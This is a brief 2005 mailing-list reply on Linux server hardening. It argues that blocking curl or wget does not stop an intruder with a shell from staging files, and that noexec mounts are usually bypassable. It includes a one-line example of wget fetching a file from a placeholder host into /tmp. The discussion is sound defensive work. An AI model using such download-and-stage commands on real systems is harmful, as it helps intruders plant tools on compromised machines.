Re: Re[4]: Linux hardening

On Tue, 2005-08-30 at 09:51 +0400, Kir wrote:
> > What do you mean? Curl prints to STDOUT. If someone manages to exec a
> > shell, couldn't he just redirect the curl output to /tmp as he desires?
> 
> > Anyway, it seems to me it'd be more effective to make sure he cannot
> > execute whatever it is he downloaded; the noexec flag and GRSec's TPE
> > would probably both be useful for that.

noexec is almost always bypassable.

> > Or did I misunderstand you?
> 
> You  misunderstood.  Method  above was meant to be used with
> wget,  that  dumps  received  file  into  file.

Exactly the same applies:

  wget http://some.host/path -O - > /tmp/foo

Cheers,

Adam